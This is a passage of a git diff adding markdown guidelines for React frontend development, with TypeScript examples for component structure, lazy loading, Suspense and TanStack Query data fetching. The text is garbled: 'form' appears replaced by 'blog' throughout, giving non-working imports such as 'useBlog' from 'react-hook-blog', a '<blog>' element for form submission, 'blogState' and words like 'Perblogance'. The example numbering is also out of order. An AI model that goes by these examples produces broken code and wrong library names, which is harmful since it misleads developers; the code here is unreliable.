user.name.toLowerCase().includes(debouncedSearch.toLowerCase()) || + user.email.toLowerCase().includes(debouncedSearch.toLowerCase()) + ); + }, [users, debouncedSearch]); + + return ( + <Box> + <TextField + value={searchTerm} + onChange={(e) => setSearchTerm(e.target.value)} + placeholder='Search users...' + fullWidth + sx={{ mb: 2 }} + /> + + <List> + {filteredUsers.map(user => ( + <ListItem key={user.id}> + {user.name} - {user.email} + </ListItem> + ))} + </List> + </Box> + ); +}; +``` + +--- + +## Example 5: Blog with Validation + +```typescript +import React from 'react'; +import { Box, TextField, Button, Paper } from '@mui/material'; +import { useBlog } from 'react-hook-blog'; +import { zodResolver } from '@hookblog/resolvers/zod'; +import { z } from 'zod'; +import { useMutation, useQueryClient } from '@tanstack/react-query'; +import { userApi } from '../api/userApi'; +import { useMuiSnackbar } from '@/hooks/useMuiSnackbar'; + +const userSchema = z.object({ + username: z.string().min(3).max(50), + email: z.string().email(), + firstName: z.string().min(1), + lastName: z.string().min(1), +}); + +type UserBlogData = z.infer<typeof userSchema>; + +interface CreateUserBlogProps { + onSuccess?: () => void; +} + +export const CreateUserBlog: React.FC<CreateUserBlogProps> = ({ onSuccess }) => { + const queryClient = useQueryClient(); + const { showSuccess, showError } = useMuiSnackbar(); + + const { register, handleSubmit, blogState: { errors }, reset } = useBlog<UserBlogData>({ + resolver: zodResolver(userSchema), + defaultValues: { + username: '', + email: '', + firstName: '', + lastName: '', + }, + }); + + const createMutation = useMutation({ + mutationFn: (data: UserBlogData) => userApi.createUser(data), + + onSuccess: () => { + queryClient.invalidateQueries({ queryKey: ['users'] }); + showSuccess('User created successfully'); + reset(); + onSuccess?.(); + }, + + onError: () => { + showError('Failed to create user'); + }, + }); + + const onSubmit = (data: UserBlogData) => { + createMutation.mutate(data); + }; + + return ( + <Paper sx={{ p: 3, maxWidth: 500 }}> + <blog onSubmit={handleSubmit(onSubmit)}> + <Box sx={{ display: 'flex', flexDirection: 'column', gap: 2 }}> + <TextField + {...register('username')} + label='Username' + error={!!errors.username} + helperText={errors.username?.message} + fullWidth + /> + + <TextField + {...register('email')} + label='Email' + type='email' + error={!!errors.email} + helperText={errors.email?.message} + fullWidth + /> + + <TextField + {...register('firstName')} + label='First Name' + error={!!errors.firstName} + helperText={errors.firstName?.message} + fullWidth + /> + + <TextField + {...register('lastName')} + label='Last Name' + error={!!errors.lastName} + helperText={errors.lastName?.message} + fullWidth + /> + + <Button + type='submit' + variant='contained' + disabled={createMutation.isPending} + > + {createMutation.isPending ? 'Creating...' : 'Create User'} + </Button> + </Box> + </blog> + </Paper> + ); +}; + +export default CreateUserBlog; +``` + +--- + +## Example 2: Parent Container with Lazy Loading + +```typescript +import React from 'react'; +import { Box } from '@mui/material'; +import { SuspenseLoader } from '~components/SuspenseLoader'; + +// Lazy load heavy components +const UserList = React.lazy(() => import('./UserList')); +const UserStats = React.lazy(() => import('./UserStats')); +const ActivityFeed = React.lazy(() => import('./ActivityFeed')); + +export const UserDashboard: React.FC = () => { + return ( + <Box sx={{ p: 2 }}> + <SuspenseLoader> + <UserStats /> + </SuspenseLoader> + + <Box sx={{ display: 'flex', gap: 2, mt: 2 }}> + <Box sx={{ flex: 2 }}> + <SuspenseLoader> + <UserList /> + </SuspenseLoader> + </Box> + + <Box sx={{ flex: 1 }}> + <SuspenseLoader> + <ActivityFeed /> + </SuspenseLoader> + </Box> + </Box> + </Box> + ); +}; + +export default UserDashboard; +``` + +**Benefits:** +- Each section loads independently +- User sees partial content sooner +- Better perceived perblogance + +--- + +## Example 3: Cache-First Strategy Implementation + +Complete example based on useSuspensePost.ts: + +```typescript +import { useSuspenseQuery, useQueryClient } from '@tanstack/react-query'; +import { postApi } from '../api/postApi'; +import type { Post } from '../types'; + +/** + * Smart post hook with cache-first strategy + * Reuses data from grid cache when available + */ +export function useSuspensePost(blogId: number, postId: number) { + const queryClient = useQueryClient(); + + return useSuspenseQuery<Post, Error>({ + queryKey: ['post', blogId, postId], + queryFn: async () => { + // Strategy 1: Check grid cache first (avoids API call) + const gridCache = queryClient.getQueryData<{ rows: Post[] }>([ + 'posts-v2', + blogId, + 'summary' + ]) || queryClient.getQueryData<{ rows: Post[] }>([ + 'posts-v2', + blogId, + 'flat' + ]); + + if (gridCache?.rows) { + const cached = gridCache.rows.find( + (row) => row.S_ID === postId + ); + + if (cached) { + return cached; // Return from cache - no API call! + } + } + + // Strategy 2: Not in cache, fetch from API + return postApi.getPost(blogId, postId); + }, + staleTime: 5 * 60 * 1000, // Fresh for 5 minutes + gcTime: 10 * 60 * 1000, // Cache for 10 minutes + refetchOnWindowFocus: false, // Don't refetch on focus + }); +} +``` + +**Why this pattern:** +- Checks grid cache before API +- Instant data if user came from grid +- Falls back to API if not cached +- Configurable cache times + +--- + +## Example 4: Complete Route File + +```typescript +/** + * Project catalog route + * Path: /project-catalog + */ + +import { createFileRoute } from '@tanstack/react-router'; +import { lazy } from 'react'; + +// Lazy load the PostTable component +const PostTable = lazy(() => + import('@/features/posts/components/PostTable').then( + (module) => ({ default: module.PostTable }) + ) +); + +// Route constants +const PROJECT_CATALOG_FORM_ID = 744; +const PROJECT_CATALOG_PROJECT_ID = 225; + +export const Route = createFileRoute('/project-catalog/')({ + component: ProjectCatalogPage, + loader: () => ({ + crumb: 'Projects', // Breadcrumb title + }), +}); + +function ProjectCatalogPage() { + return ( + <PostTable + blogId={PROJECT_CATALOG_FORM_ID} + projectId={PROJECT_CATALOG_PROJECT_ID} + tableType='active_projects' + title='Blog Dashboard' + /> + ); +} + +export default ProjectCatalogPage; +``` + +--- + +## Example 5: Dialog with Blog + +```typescript +import React from 'react'; +import { + Dialog, + DialogTitle, + DialogContent, + DialogActions, + Button, + TextField, + Box, + IconButton, +} from '@mui/material'; +import { Close, PersonAdd } from '@mui/icons-material'; +import { useBlog } from 'react-hook-blog'; +import { zodResolver } from '@hookblog/resolvers/zod'; +import { z } from 'zod'; + +const blogSchema = z.object({ + name: z.string().min(1), + email: z.string().email(), +}); + +type BlogData = z.infer<typeof blogSchema>; + +interface AddUserDialogProps { + open: boolean; + onClose: () => void; + onSubmit: (data: BlogData) => Promise<void>; +} + +export const AddUserDialog: React.FC<AddUserDialogProps> = ({ + open, + onClose, + onSubmit, +}) => { + const { register, handleSubmit, blogState: { errors }, reset } = useBlog<BlogData>({ + resolver: zodResolver(blogSchema), + }); + + const handleClose = () => { + reset(); + onClose(); + }; + + const handleBlogSubmit = async (data: BlogData) => { + await onSubmit(data); + handleClose(); + }; + + return ( + <Dialog open={open} onClose={handleClose} maxWidth='sm' fullWidth> + <DialogTitle> + <Box sx={{ display: 'flex', alignItems: 'center', justifyContent: 'space-between' }}> + <Box sx={{ display: 'flex', alignItems: 'center', gap: 1 }}> + <PersonAdd color='primary' /> + Add User + </Box> + <IconButton onClick={handleClose} size='small'> + <Close /> + </IconButton> + </Box> + </DialogTitle> + + <blog onSubmit={handleSubmit(handleBlogSubmit)}> + <DialogContent> + <Box sx={{ display: 'flex', flexDirection: 'column', gap: 2 }}> + <TextField + {...register('name')} + label='Name' + error={!!errors.name} + helperText={errors.name?.message} + fullWidth + autoFocus + /> + + <TextField + {...register('email')} + label='Email' + type='email' + error={!!errors.email} + helperText={errors.email?.message} + fullWidth + /> + </Box> + </DialogContent> + + <DialogActions> + <Button onClick={handleClose}>Cancel</Button> + <Button type='submit' variant='contained'> + Add User + </Button> + </DialogActions> + </blog> + </Dialog> + ); +}; +``` + +--- + +## Example 6: Parallel Data Fetching + +```typescript +import React from 'react'; +import { Box, Grid, Paper } from '@mui/material'; +import { useSuspenseQueries } from '@tanstack/react-query'; +import { userApi } from '../api/userApi'; +import { statsApi } from '../api/statsApi'; +import { activityApi } from '../api/activityApi'; + +export const Dashboard: React.FC = () => { + // Fetch all data in parallel with Suspense + const [statsQuery, usersQuery, activityQuery] = useSuspenseQueries({ + queries: [ + { + queryKey: ['stats'], + queryFn: () => statsApi.getStats(), + }, + { + queryKey: ['users', 'active'], + queryFn: () => userApi.getActiveUsers(), + }, + { + queryKey: ['activity', 'recent'], + queryFn: () => activityApi.getRecent(), + }, + ], + }); + + return ( + <Box sx={{ p: 2 }}> + <Grid container spacing={2}> + <Grid size={{ xs: 12, md: 4 }}> + <Paper sx={{ p: 2 }}> + <h3>Stats</h3> + <p>Total: {statsQuery.data.total}</p> + </Paper> + </Grid> + + <Grid size={{ xs: 12, md: 4 }}> + <Paper sx={{ p: 2 }}> + <h3>Active Users</h3> + <p>Count: {usersQuery.data.length}</p> + </Paper> + </Grid> + + <Grid size={{ xs: 12, md: 4 }}> + <Paper sx={{ p: 2 }}> + <h3>Recent Activity</h3> + <p>Events: {activityQuery.data.length}</p> + </Paper> + </Grid> + </Grid> + </Box> + ); +}; + +// Usage with Suspense +<SuspenseLoader> + <Dashboard /> +</SuspenseLoader> +``` + +--- + +## Example 7: Optimistic Update + +```typescript +import { useMutation, useQueryClient } from '@tanstack/react-query'; +import type { User } from '../types'; + +export const useToggleUserStatus = () => { + const queryClient = useQueryClient(); + + return useMutation({ + mutationFn: (userId: string) => userApi.toggleStatus(userId), + + // Optimistic update + onMutate: async (userId) => { + // Cancel outgoing refetches + await queryClient.cancelQueries({ queryKey: ['users'] }); + + // Snapshot previous value + const previousUsers = queryClient.getQueryData<User[]>(['users']); + + // Optimistically update UI + queryClient.setQueryData<User[]>(['users'], (old) => { + return old?.map(user => + user.id === userId + ? { ...user, active: !user.active } + : user + ) || []; + }); + + return { previousUsers }; + }, + + // Rollback on error + onError: (err, userId, context) => { + queryClient.setQueryData(['users'], context?.previousUsers); + }, + + // Refetch after mutation + onSettled: () => { + queryClient.invalidateQueries({ queryKey: ['users'] }); + }, + }); +}; +``` + +--- + +## Summary + +**Key Takeaways:** + +1. **Component Pattern**: React.FC + lazy + Suspense + useSuspenseQuery +2. **Feature Structure**: Organized subdirectories (api/, components/, hooks/, etc.) +3. **Routing**: Folder-based with lazy loading +4. **Data Fetching**: useSuspenseQuery with cache-first strategy +5. **Blogs**: React Hook Blog + Zod validation +6. **Error Handling**: useMuiSnackbar + onError callbacks +7. **Perblogance**: useMemo, useCallback, React.memo, debouncing +8. **Styling**: Inline <100 lines, sx prop, MUI v7 syntax + +**See other resources for detailed explanations of each pattern.** \ No newline at end of file diff --git a/skills/frontend-dev-guidelines/resources/component-patterns.md b/skills/frontend-dev-guidelines/resources/component-patterns.md new file mode 100644 index 00000000..c83bdaf0 --- /dev/null +++ b/skills/frontend-dev-guidelines/resources/component-patterns.md @@ -0,0 +1,502 @@ +# Component Patterns + +Modern React component architecture for the application emphasizing type safety, lazy loading, and Suspense boundaries. + +--- + +## React.FC Pattern (PREFERRED) + +### Why React.FC + +All components use the `React.FC<Props>` pattern for: +- Explicit type safety for props +- Consistent component signatures +- Clear prop interface documentation +- Better IDE autocomplete + +### Basic Pattern + +```typescript +import React from 'react'; + +interface MyComponentProps { + /** User ID to display */ + userId: number; + /** Optional callback when action occurs */ + onAction?: () => void; +} + +export const MyComponent: React.FC<MyComponentProps> = ({ userId, onAction }) => { + return ( + <div> + User: {userId} + </div> + ); +}; + +export default MyComponent; +``` + +**Key Points:** +- Props interface defined separately with JSDoc comments +- `React.FC<Props>` provides type safety +- Destructure props in parameters +- Default export at bottom + +--- + +## Lazy Loading Pattern + +### When to Lazy Load + +Lazy load components that are: +- Heavy (DataGrid, charts, rich text editors) +- Route-level components +- Modal/dialog content (not shown initially) +- Below-the-fold content + +### How to Lazy Load + +```typescript +import React from 'react'; + +// Lazy load heavy component +const PostDataGrid = React.lazy(() => + import('./grids/PostDataGrid') +); + +// For named exports +const MyComponent = React.lazy(() => + import('./MyComponent').then(module => ({ + default: module.MyComponent + })) +); +``` + +**Example from PostTable.tsx:** + +```typescript +/** + * Main post table container component + */ +import React, { useState, useCallback } from 'react'; +import { Box, Paper } from '@mui/material'; + +// Lazy load PostDataGrid to optimize bundle size +const PostDataGrid = React.lazy(() => import('./grids/PostDataGrid')); + +import { SuspenseLoader } from '~components/SuspenseLoader'; + +export const PostTable: React.FC<PostTableProps> = ({ formId }) => { + return ( + <Box> + <SuspenseLoader> + <PostDataGrid formId={formId} /> + </SuspenseLoader> + </Box> + ); +}; + +export default PostTable; +``` + +--- + +## Suspense Boundaries + +### SuspenseLoader Component + +**Import:** +```typescript +import { SuspenseLoader } from '~components/SuspenseLoader'; +// Or +import { SuspenseLoader } from '@/components/SuspenseLoader'; +``` + +**Usage:** +```typescript +<SuspenseLoader> + <LazyLoadedComponent /> +</SuspenseLoader> +``` + +**What it does:** +- Shows loading indicator while lazy component loads +- Smooth fade-in animation +- Consistent loading experience +- Prevents layout shift + +### Where to Place Suspense Boundaries + +**Route Level:** +```typescript +// routes/my-route/index.tsx +const MyPage = lazy(() => import('@/features/my-feature/components/MyPage')); + +function Route() { + return ( + <SuspenseLoader> + <MyPage /> + </SuspenseLoader> + ); +} +``` + +**Component Level:** +```typescript +function ParentComponent() { + return ( + <Box> + <Header /> + <SuspenseLoader> + <HeavyDataGrid /> + </SuspenseLoader> + </Box> + ); +} +``` + +**Multiple Boundaries:** +```typescript +function Page() { + return ( + <Box> + <SuspenseLoader> + <HeaderSection /> + </SuspenseLoader> + + <SuspenseLoader> + <MainContent /> + </SuspenseLoader> + + <SuspenseLoader> + <Sidebar /> + </SuspenseLoader> + </Box> + ); +} +``` + +Each section loads independently, better UX. + +--- + +## Component Structure Template + +### Recommended Order + +```typescript +/** + * Component description + * What it does, when to use it + */ +import React, { useState, useCallback, useMemo, useEffect } from 'react'; +import { Box, Paper, Button } from '@mui/material'; +import type { SxProps, Theme } from '@mui/material'; +import { useSuspenseQuery } from '@tanstack/react-query'; + +// Feature imports +import { myFeatureApi } from '../api/myFeatureApi'; +import type { MyData } from '~types/myData'; + +// Component imports +import { SuspenseLoader } from '~components/SuspenseLoader'; + +// Hooks +import { useAuth } from '@/hooks/useAuth'; +import { useMuiSnackbar } from '@/hooks/useMuiSnackbar'; + +// 1. PROPS INTERFACE (with JSDoc) +interface MyComponentProps { + /** The ID of the entity to display */ + entityId: number; + /** Optional callback when action completes */ + onComplete?: () => void; + /** Display mode */ + mode?: 'view' | 'edit'; +} + +// 2. STYLES (if inline and <100 lines) +const componentStyles: Record<string, SxProps<Theme>> = { + container: { + p: 2, + display: 'flex', + flexDirection: 'column', + }, + header: { + mb: 2, + display: 'flex', + justifyContent: 'space-between', + }, +}; + +// 3. COMPONENT DEFINITION +export const MyComponent: React.FC<MyComponentProps> = ({ + entityId, + onComplete, + mode = 'view', +}) => { + // 4. HOOKS (in this order) + // - Context hooks first + const { user } = useAuth(); + const { showSuccess, showError } = useMuiSnackbar(); + + // - Data fetching + const { data } = useSuspenseQuery({ + queryKey: ['myEntity', entityId], + queryFn: () => myFeatureApi.getEntity(entityId), + }); + + // - Local state + const [selectedItem, setSelectedItem] = useState<string | null>(null); + const [isEditing, setIsEditing] = useState(mode === 'edit'); + + // - Memoized values + const filteredData = useMemo(() => { + return data.filter(item => item.active); + }, [data]); + + // - Effects + useEffect(() => { + // Setup + return () => { + // Cleanup + }; + }, []); + + // 5. EVENT HANDLERS (with useCallback) + const handleItemSelect = useCallback((itemId: string) => { + setSelectedItem(itemId); + }, []); + + const handleSave = useCallback(async () => { + try { + await myFeatureApi.updateEntity(entityId, { /* data */ }); + showSuccess('Entity updated successfully'); + onComplete?.(); + } catch (error) { + showError('Failed to update entity'); + } + }, [entityId, onComplete, showSuccess, showError]); + + // 6. RENDER + return ( + <Box sx={componentStyles.container}> + <Box sx={componentStyles.header}> + <h2>My Component</h2> + <Button onClick={handleSave}>Save</Button> + </Box> + + <Paper sx={{ p: 2 }}> + {filteredData.map(item => ( + <div key={item.id}>{item.name}</div> + ))} + </Paper> + </Box> + ); +}; + +// 7. EXPORT (default export at bottom) +export default MyComponent; +``` + +--- + +## Component Separation + +### When to Split Components + +**Split into multiple components when:** +- Component exceeds 300 lines +- Multiple distinct responsibilities +- Reusable sections +- Complex nested JSX + +**Example:** + +```typescript +// ❌ AVOID - Monolithic +function MassiveComponent() { + // 500+ lines + // Search logic + // Filter logic + // Grid logic + // Action panel logic +} + +// ✅ PREFERRED - Modular +function ParentContainer() { + return ( + <Box> + <SearchAndFilter onFilter={handleFilter} /> + <DataGrid data={filteredData} /> + <ActionPanel onAction={handleAction} /> + </Box> + ); +} +``` + +### When to Keep Together + +**Keep in same file when:** +- Component < 200 lines +- Tightly coupled logic +- Not reusable elsewhere +- Simple presentation component + +--- + +## Export Patterns + +### Named Const + Default Export (PREFERRED) + +```typescript +export const MyComponent: React.FC<Props> = ({ ... }) => { + // Component logic +}; + +export default MyComponent; +``` + +**Why:** +- Named export for testing/refactoring +- Default export for lazy loading convenience +- Both options available to consumers + +### Lazy Loading Named Exports + +```typescript +const MyComponent = React.lazy(() => + import('./MyComponent').then(module => ({ + default: module.MyComponent + })) +); +``` + +--- + +## Component Communication + +### Props Down, Events Up + +```typescript +// Parent +function Parent() { + const [selectedId, setSelectedId] = useState<string | null>(null); + + return ( + <Child + data={data} // Props down + onSelect={setSelectedId} // Events up + /> + ); +} + +// Child +interface ChildProps { + data: Data[]; + onSelect: (id: string) => void; +} + +export const Child: React.FC<ChildProps> = ({ data, onSelect }) => { + return ( + <div onClick={() => onSelect(data[0].id)}> + {/* Content */} + </div> + ); +}; +``` + +### Avoid Prop Drilling + +**Use context for deep nesting:** +```typescript +// ❌ AVOID - Prop drilling 5+ levels +<A prop={x}> + <B prop={x}> + <C prop={x}> + <D prop={x}> + <E prop={x} /> // Finally uses it here + </D> + </C> + </B> +</A> + +// ✅ PREFERRED - Context or TanStack Query +const MyContext = createContext<MyData | null>(null); + +function Provider({ children }) { + const { data } = useSuspenseQuery({ ... }); + return <MyContext.Provider value={data}>{children}</MyContext.Provider>; +} + +function DeepChild() { + const data = useContext(MyContext); + // Use data directly +} +``` + +--- + +## Advanced Patterns + +### Compound Components + +```typescript +// Card.tsx +export const Card: React.FC<CardProps> & { + Header: typeof CardHeader; + Body: typeof CardBody; + Footer: typeof CardFooter; +} = ({ children }) => { + return <Paper>{children}</Paper>; +}; + +Card.Header = CardHeader; +Card.Body = CardBody; +Card.Footer = CardFooter; + +// Usage +<Card> + <Card.Header>Title</Card.Header> + <Card.Body>Content</Card.Body> + <Card.Footer>Actions</Card.Footer> +</Card> +``` + +### Render Props (Rare, but useful) + +```typescript +interface DataProviderProps { + children: (data: Data) => React.ReactNode; +} + +export const DataProvider: React.FC<DataProviderProps> = ({ children }) => { + const { data } = useSuspenseQuery({ ... }); + return <>{children(data)}</>; +}; + +// Usage +<DataProvider> + {(data) => <Display data={data} />} +</DataProvider> +``` + +--- + +## Summary + +**Modern Component Recipe:** +1. `React.FC<Props>` with TypeScript +2. Lazy load if heavy: `React.lazy(() => import())` +3. Wrap in `<SuspenseLoader>` for loading +4. Use `useSuspenseQuery` for data +5. Import aliases (@/, ~types, ~components) +6. Event handlers with `useCallback` +7. Default export at bottom +8. No early returns for loading states + +**See Also:** +- [data-fetching.md](data-fetching.md) - useSuspenseQuery details +- [loading-and-error-states.md](loading-and-error-states.md) - Suspense best practices +- [complete-examples.md](complete-examples.md) - Full working examples \ No newline at end of file diff --git a/skills/frontend-dev-guidelines/resources/data-fetching.md b/skills/frontend-dev-guidelines/resources/data-fetching.md new file mode 100644 index 00000000..7f6bb840 --- /dev/null +++ b/skills/frontend-dev-guidelines/resources/data-fetching.md @@ -0,0 +1,767 @@ +# Data Fetching Patterns + +Modern data fetching using TanStack Query with Suspense boundaries, cache-first strategies, and centralized API services. + +--- + +## PRIMARY PATTERN: useSuspenseQuery + +### Why useSuspenseQuery? + +For **all new components**, use `useSuspenseQuery` instead of regular `useQuery`: + +**Benefits:** +- No `isLoading` checks needed +- Integrates with Suspense boundaries +- Cleaner component code +- Consistent loading UX +- Better error handling with error boundaries + +### Basic Pattern + +```typescript +import { useSuspenseQuery } from '@tanstack/react-query'; +import { myFeatureApi } from '../api/myFeatureApi'; + +export const MyComponent: React.FC<Props> = ({ id }) => { + // No isLoading - Suspense handles it! + const { data } = useSuspenseQuery({ + queryKey: ['myEntity', id], + queryFn: () => myFeatureApi.getEntity(id), + }); + + // data is ALWAYS defined here (not undefined | Data) + return <div>{data.name}</div>; +}; + +// Wrap in Suspense boundary +<SuspenseLoader> + <MyComponent id={123} /> +</SuspenseLoader> +``` + +### useSuspenseQuery vs useQuery + +| Feature | useSuspenseQuery | useQuery | +|---------|------------------|----------| +| Loading state | Handled by Suspense | Manual `isLoading` check | +| Data type | Always defined | `Data \| undefined` | +| Use with | Suspense boundaries | Traditional components | +| Recommended for | **NEW components** | Legacy code only | +| Error handling | Error boundaries | Manual error state | + +**When to use regular useQuery:** +- Maintaining legacy code +- Very simple cases without Suspense +- Polling with background updates + +**For new components: Always prefer useSuspenseQuery** + +--- + +## Cache-First Strategy + +### Cache-First Pattern Example + +**Smart caching** reduces API calls by checking React Query cache first: + +```typescript +import { useSuspenseQuery, useQueryClient } from '@tanstack/react-query'; +import { postApi } from '../api/postApi'; + +export function useSuspensePost(postId: number) { + const queryClient = useQueryClient(); + + return useSuspenseQuery({ + queryKey: ['post', postId], + queryFn: async () => { + // Strategy 1: Try to get from list cache first + const cachedListData = queryClient.getQueryData<{ posts: Post[] }>([ + 'posts', + 'list' + ]); + + if (cachedListData?.posts) { + const cachedPost = cachedListData.posts.find( + (post) => post.id === postId + ); + + if (cachedPost) { + return cachedPost; // Return from cache! + } + } + + // Strategy 2: Not in cache, fetch from API + return postApi.getPost(postId); + }, + staleTime: 5 * 60 * 1000, // Consider fresh for 5 minutes + gcTime: 10 * 60 * 1000, // Keep in cache for 10 minutes + refetchOnWindowFocus: false, // Don't refetch on focus + }); +} +``` + +**Key Points:** +- Check grid/list cache before API call +- Avoids redundant requests +- `staleTime`: How long data is considered fresh +- `gcTime`: How long unused data stays in cache +- `refetchOnWindowFocus: false`: User preference + +--- + +## Parallel Data Fetching + +### useSuspenseQueries + +When fetching multiple independent resources: + +```typescript +import { useSuspenseQueries } from '@tanstack/react-query'; + +export const MyComponent: React.FC = () => { + const [userQuery, settingsQuery, preferencesQuery] = useSuspenseQueries({ + queries: [ + { + queryKey: ['user'], + queryFn: () => userApi.getCurrentUser(), + }, + { + queryKey: ['settings'], + queryFn: () => settingsApi.getSettings(), + }, + { + queryKey: ['preferences'], + queryFn: () => preferencesApi.getPreferences(), + }, + ], + }); + + // All data available, Suspense handles loading + const user = userQuery.data; + const settings = settingsQuery.data; + const preferences = preferencesQuery.data; + + return <Display user={user} settings={settings} prefs={preferences} />; +}; +``` + +**Benefits:** +- All queries in parallel +- Single Suspense boundary +- Type-safe results + +--- + +## Query Keys Organization + +### Naming Convention + +```typescript +// Entity list +['entities', blogId] +['entities', blogId, 'summary'] // With view mode +['entities', blogId, 'flat'] + +// Single entity +['entity', blogId, entityId] + +// Related data +['entity', entityId, 'history'] +['entity', entityId, 'comments'] + +// User-specific +['user', userId, 'profile'] +['user', userId, 'permissions'] +``` + +**Rules:** +- Start with entity name (plural for lists, singular for one) +- Include IDs for specificity +- Add view mode / relationship at end +- Consistent across app + +### Query Key Examples + +```typescript +// From useSuspensePost.ts +queryKey: ['post', blogId, postId] +queryKey: ['posts-v2', blogId, 'summary'] + +// Invalidation patterns +queryClient.invalidateQueries({ queryKey: ['post', blogId] }); // All posts for form +queryClient.invalidateQueries({ queryKey: ['post'] }); // All posts +``` + +--- + +## API Service Layer Pattern + +### File Structure + +Create centralized API service per feature: + +``` +features/ + my-feature/ + api/ + myFeatureApi.ts # Service layer +``` + +### Service Pattern (from postApi.ts) + +```typescript +/** + * Centralized API service for my-feature operations + * Uses apiClient for consistent error handling + */ +import apiClient from '@/lib/apiClient'; +import type { MyEntity, UpdatePayload } from '../types'; + +export const myFeatureApi = { + /** + * Fetch a single entity + */ + getEntity: async (blogId: number, entityId: number): Promise<MyEntity> => { + const { data } = await apiClient.get( + `/blog/entities/${blogId}/${entityId}` + ); + return data; + }, + + /** + * Fetch all entities for a form + */ + getEntities: async (blogId: number, view: 'summary' | 'flat'): Promise<MyEntity[]> => { + const { data } = await apiClient.get( + `/blog/entities/${blogId}`, + { params: { view } } + ); + return data.rows; + }, + + /** + * Update entity + */ + updateEntity: async ( + blogId: number, + entityId: number, + payload: UpdatePayload + ): Promise<MyEntity> => { + const { data } = await apiClient.put( + `/blog/entities/${blogId}/${entityId}`, + payload + ); + return data; + }, + + /** + * Delete entity + */ + deleteEntity: async (blogId: number, entityId: number): Promise<void> => { + await apiClient.delete(`/blog/entities/${blogId}/${entityId}`); + }, +}; +``` + +**Key Points:** +- Export single object with methods +- Use `apiClient` (axios instance from `@/lib/apiClient`) +- Type-safe parameters and returns +- JSDoc comments for each method +- Centralized error handling (apiClient handles it) + +--- + +## Route Format Rules (IMPORTANT) + +### Correct Format + +```typescript +// ✅ CORRECT - Direct service path +await apiClient.get('/blog/posts/123'); +await apiClient.post('/projects/create', data); +await apiClient.put('/users/update/456', updates); +await apiClient.get('/email/templates'); + +// ❌ WRONG - Do NOT add /api/ prefix +await apiClient.get('/api/blog/posts/123'); // WRONG! +await apiClient.post('/api/projects/create', data); // WRONG! +``` + +**Microservice Routing:** +- Form service: `/blog/*` +- Projects service: `/projects/*` +- Email service: `/email/*` +- Users service: `/users/*` + +**Why:** API routing is handled by proxy configuration, no `/api/` prefix needed. + +--- + +## Mutations + +### Basic Mutation Pattern + +```typescript +import { useMutation, useQueryClient } from '@tanstack/react-query'; +import { myFeatureApi } from '../api/myFeatureApi'; +import { useMuiSnackbar } from '@/hooks/useMuiSnackbar'; + +export const MyComponent: React.FC = () => { + const queryClient = useQueryClient(); + const { showSuccess, showError } = useMuiSnackbar(); + + const updateMutation = useMutation({ + mutationFn: (payload: UpdatePayload) => + myFeatureApi.updateEntity(blogId, entityId, payload), + + onSuccess: () => { + // Invalidate and refetch + queryClient.invalidateQueries({ + queryKey: ['entity', blogId, entityId] + }); + showSuccess('Entity updated successfully'); + }, + + onError: (error) => { + showError('Failed to update entity'); + console.error('Update error:', error); + }, + }); + + const handleUpdate = () => { + updateMutation.mutate({ name: 'New Name' }); + }; + + return ( + <Button + onClick={handleUpdate} + disabled={updateMutation.isPending} + > + {updateMutation.isPending ? 'Updating...' : 'Update'} + </Button> + ); +}; +``` + +### Optimistic Updates + +```typescript +const updateMutation = useMutation({ + mutationFn: (payload) => myFeatureApi.update(id, payload), + + // Optimistic update + onMutate: async (newData) => { + // Cancel outgoing refetches + await queryClient.cancelQueries({ queryKey: ['entity', id] }); + + // Snapshot current value + const previousData = queryClient.getQueryData(['entity', id]); + + // Optimistically update + queryClient.setQueryData(['entity', id], (old) => ({ + ...old, + ...newData, + })); + + // Return rollback function + return { previousData }; + }, + + // Rollback on error + onError: (err, newData, context) => { + queryClient.setQueryData(['entity', id], context.previousData); + showError('Update failed'); + }, + + // Refetch after success or error + onSettled: () => { + queryClient.invalidateQueries({ queryKey: ['entity', id] }); + }, +}); +``` + +--- + +## Advanced Query Patterns + +### Prefetching + +```typescript +export function usePrefetchEntity() { + const queryClient = useQueryClient(); + + return (blogId: number, entityId: number) => { + return queryClient.prefetchQuery({ + queryKey: ['entity', blogId, entityId], + queryFn: () => myFeatureApi.getEntity(blogId, entityId), + staleTime: 5 * 60 * 1000, + }); + }; +} + +// Usage: Prefetch on hover +<div onMouseEnter={() => prefetch(blogId, id)}> + <Link to={`/entity/${id}`}>View</Link> +</div> +``` + +### Cache Access Without Fetching + +```typescript +export function useEntityFromCache(blogId: number, entityId: number) { + const queryClient = useQueryClient(); + + // Get from cache, don't fetch if missing + const directCache = queryClient.getQueryData<MyEntity>(['entity', blogId, entityId]); + + if (directCache) return directCache; + + // Try grid cache + const gridCache = queryClient.getQueryData<{ rows: MyEntity[] }>(['entities-v2', blogId]); + + return gridCache?.rows.find(row => row.id === entityId); +} +``` + +### Dependent Queries + +```typescript +// Fetch user first, then user's settings +const { data: user } = useSuspenseQuery({ + queryKey: ['user', userId], + queryFn: () => userApi.getUser(userId), +}); + +const { data: settings } = useSuspenseQuery({ + queryKey: ['user', userId, 'settings'], + queryFn: () => settingsApi.getUserSettings(user.id), + // Automatically waits for user to load due to Suspense +}); +``` + +--- + +## API Client Configuration + +### Using apiClient + +```typescript +import apiClient from '@/lib/apiClient'; + +// apiClient is a configured axios instance +// Automatically includes: +// - Base URL configuration +// - Cookie-based authentication +// - Error interceptors +// - Response transformers +``` + +**Do NOT create new axios instances** - use apiClient for consistency. + +--- + +## Error Handling in Queries + +### onError Callback + +```typescript +import { useMuiSnackbar } from '@/hooks/useMuiSnackbar'; + +const { showError } = useMuiSnackbar(); + +const { data } = useSuspenseQuery({ + queryKey: ['entity', id], + queryFn: () => myFeatureApi.getEntity(id), + + // Handle errors + onError: (error) => { + showError('Failed to load entity'); + console.error('Load error:', error); + }, +}); +``` + +### Error Boundaries + +Combine with Error Boundaries for comprehensive error handling: + +```typescript +import { ErrorBoundary } from 'react-error-boundary'; + +<ErrorBoundary + fallback={<ErrorDisplay />} + onError={(error) => console.error(error)} +> + <SuspenseLoader> + <ComponentWithSuspenseQuery /> + </SuspenseLoader> +</ErrorBoundary> +``` + +--- + +## Complete Examples + +### Example 1: Simple Entity Fetch + +```typescript +import React from 'react'; +import { useSuspenseQuery } from '@tanstack/react-query'; +import { Box, Typography } from '@mui/material'; +import { userApi } from '../api/userApi'; + +interface UserProfileProps { + userId: string; +} + +export const UserProfile: React.FC<UserProfileProps> = ({ userId }) => { + const { data: user } = useSuspenseQuery({ + queryKey: ['user', userId], + queryFn: () => userApi.getUser(userId), + staleTime: 5 * 60 * 1000, + }); + + return ( + <Box> + <Typography variant='h5'>{user.name}</Typography> + <Typography>{user.email}</Typography> + 